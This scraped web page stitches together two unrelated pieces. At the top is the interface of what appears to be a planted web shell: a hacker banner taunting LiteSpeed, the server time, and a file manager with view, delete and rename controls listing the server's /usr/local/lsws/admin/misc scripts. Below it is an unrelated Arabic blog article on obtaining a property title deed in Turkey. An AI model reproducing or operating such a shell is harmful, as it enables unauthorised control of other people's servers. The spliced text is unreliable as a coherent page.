Hell Yeah Pointer 4 
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-07 18:00:06
curdir: / / usr / local / lsws / admin / misc / [ GO Home ]

Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-18 20:33:09 0755
.. 4096 2026-01-18 20:33:00 0755
admpass.sh 1194 2026-01-18 20:32:59 0555
ap_lsws.sh 1865 2026-03-07 15:44:40 0755
ap_lsws.sh.in 1867 2026-01-18 20:32:59 0555
awstats_install.sh 2105 2026-01-18 20:32:59 0555
build_ap_wrapper.sh 624 2026-01-18 20:32:59 0555
chroot.sh 7482 2026-01-18 20:32:59 0555
cleancache.sh 1497 2026-01-18 20:32:59 0555
cleanlitemage.sh 2456 2026-01-18 20:32:59 0555
cp_switch_ws.sh 22944 2026-01-18 20:32:59 0444
cpanel_restart_httpd.in 732 2026-01-18 20:32:59 0555
create_admin_keypair.sh 336 2026-01-18 20:32:59 0555
enable_ruby_python_selector.sh 2745 2026-01-18 20:32:59 0555
fix_cagefs.sh 766 2026-01-18 20:32:59 0555
fp_install.sh 1687 2026-01-18 20:32:59 0555
gdb-bt 25 2026-01-18 20:32:59 0644
genjCryptionKeyPair.php 6583 2026-01-18 20:32:59 0644
gzipStatic.sh 272 2026-01-18 20:32:59 0555
htpasswd.php 103 2026-01-18 20:32:59 0644
lscmctl 15663 2025-09-11 18:22:56 0775
lshttpd.service 660 2026-01-18 20:32:59 0555
lsup.sh 5788 2026-01-18 20:32:59 0555
lsup6.sh 5788 2026-01-18 20:32:59 0555
lsws.rc 1826 2026-01-18 20:32:59 0555
lsws.rc.gentoo 441 2026-01-18 20:32:59 0555
lswsup 595 2026-01-04 14:50:58 0755
lswsupchecker.php 581 2026-01-04 14:50:58 0755
mgr_ver.sh 1978 2026-01-18 20:32:59 0555
php.ini 37999 2026-01-18 20:32:59 0644
purge_cache_by_url 3305 2026-01-18 20:32:59 0555
rc-inst.sh 6394 2026-01-18 20:32:59 0555
rc-uninst.sh 4722 2026-01-18 20:32:59 0555
uninstall.sh 2969 2026-01-18 20:32:59 0555
update.sh 1890 2026-01-18 20:32:59 0555
مجموعة كريم - طريقة استخراج سند الملكية في تركيا – الطابو

طريقة استخراج سند الملكية في تركيا – الطابو

Blog Details

طريقة استخراج سند الملكية في تركيا – الطابو

نظرا لأهمية سند الطابو بكونه الوثيقة التي يتم من خلالها إثبات ملكية العقار في تركيا، تقدم مجموعة كريم للاستشارات مجموعة من النصائح العامة والشاملة التي تدور حول موضوع استخراج سند الملكية في تركيا أو الطابو كما هو متعارف عليه، مع التركيز على أبرز النقاط التي لا ينبغي الجهل بها عند شراء عقار في تركيا، بخطوات يسيرة، وبدون بذل جهد ووقت كبير، يمكنك أن تحصل على سند الملكية الخاص بك لعقارك الجديد في تركيا وفق نظام الكتروني يضمن لك تثبيت حقك في العقار.

لذا في هذه المقالة سنلقي الضوء على أهم النقاط التي تسبق تسجيل سند الملكية.

 

كيفية استخراج سند الملكية (الطابو) في تركيا

  • تأكد من تقييد سند الملكية في السجل العقاري

إن تسجيل العقار بسند ملكية نظامي ومعترف عليه في السجل العقاري، هو ضمان أساسي لحفظ حقوقك في كونك مالك لهذا العقار، لذا قبل الشروع بإتمام الصفقة العقارية، يفضل أن تتأكد من تقييد سند ملكية العقار أصولا في الدوائر المختصة خشية أن يكون احتيال عقاري.

  • التأكد من عدم وجود حجز أو رهن أو مصادرة على العقار

يتم ذلك من خلال مراجعة دائرة الطابو، والتأكد من نظافة سجل العقار من وجود حجز أو رهن عليه، أو وجود قرار مصادرة أو أي مشكلة أخرى قد تشكل خطورة على نقل ملكية العقار من شخص إلى شخص آخر.

  • التأكد من إتمام جميع الأوراق والوثائق

قبل التوجه إلى دائرة الطابو لتثبيت ملكية عقارك الجديد عليك أن تتأكد من إتمام جميع الأوراق والوثائق التي هي:

  1. صورة الهوية الشخصية لمشتري العقار الجديد، أو ورقة الوكالة الرسمية في حال تم توكيل المشتري من ينوب عنه.
  2. صورة شخصية بيومترية واحدة للبائع، واثنتان للمشتري.
  3. استخراج الرقم الضريبي.
  4. وثيقة السجل العقاري الخاصة بالعقار.
  5. وثيقة البدل الرائج من البلدية التي يتبع لها العقار.
  6. تقرير التقييم العقار الخاص بالأجانب.

  • استخراج الرقم الضريبي

الرقم الضريبي أو كما يقال في اللغة التركية (Vergi Numarasi) هو عبارة عن رقم مخصص لكل شخص لوحده وكأنه رقم وطني، ويطلب منه في كثير من المعاملات القانونية أو المعاملات الرسمية في تركيا، أو لفتح حساب بنكي في تركيا أيضا، ويمكن الحصول على هذا الرقم بغض النظر عن وجود إقامة رسمية للشخص في تركيا بكل سهولة.

لا يتطلب الحصول على هذا الرقم وجود إقامة بشكل رسمي في تركيا، وإنما يتم منح هذا الرقم بناء على رقم جواز السفر، مع صورة لترجمة جواز السفر التي سبق تصديقها من النوتر (كاتب العدل).

لا بد من الحصول على رقم ضريبي لكل شخص في تركيا، فلهذه الوثيقة أهمية كبيرة في كل المعاملات في تركيا، إذ إن الكثير من المعاملات الرسمية والحكومية والقانونية في تركيا تتوقف على وجود هذه الوثيقة والتي هي الرقم الضريبي.

  • التأكد من صحة معلومات سند الطابو

عليك أن تنتبه لصحة المعلومات المذكورة في سند الطابو، ومطابقتها لمعلومات العقار المقرر شراؤه، من حيث المساحة، أو الارتفاع، أو اسم البناء ورقم العقار وتوابعه.. لأنه قد يكون هناك معلومات في سند الطابو، وضعت من اجل الاحتيال العقاري.

  • إتمام عملية البيع بوجود المشتري أو الوكيل عنه

لا يصح إبرام أي عملية شراء عقار إلا بحضور مشتري العقار الجديد أو بحضور وكيله الرسمي الذي ينوب عنه، وذلك بموجب وكالة رسمية تتم من خلال قنصلية البلد الأم أو السفار التركية الموجودة في البلد الأم.

  • دفع رسوم الطابو في تركيا

وتحتسب مصاريف الطابو على أساس حساب نسبة 4 بالمئة من سعر العقار، يتم تسديدها مناصفة بين البائع والمشتري.

 

اقرأ المزيد:

طرق الحصول على الجنسية التركية

الإقامة السياحية في تركيا

 

 

أحدث المقالات القانونية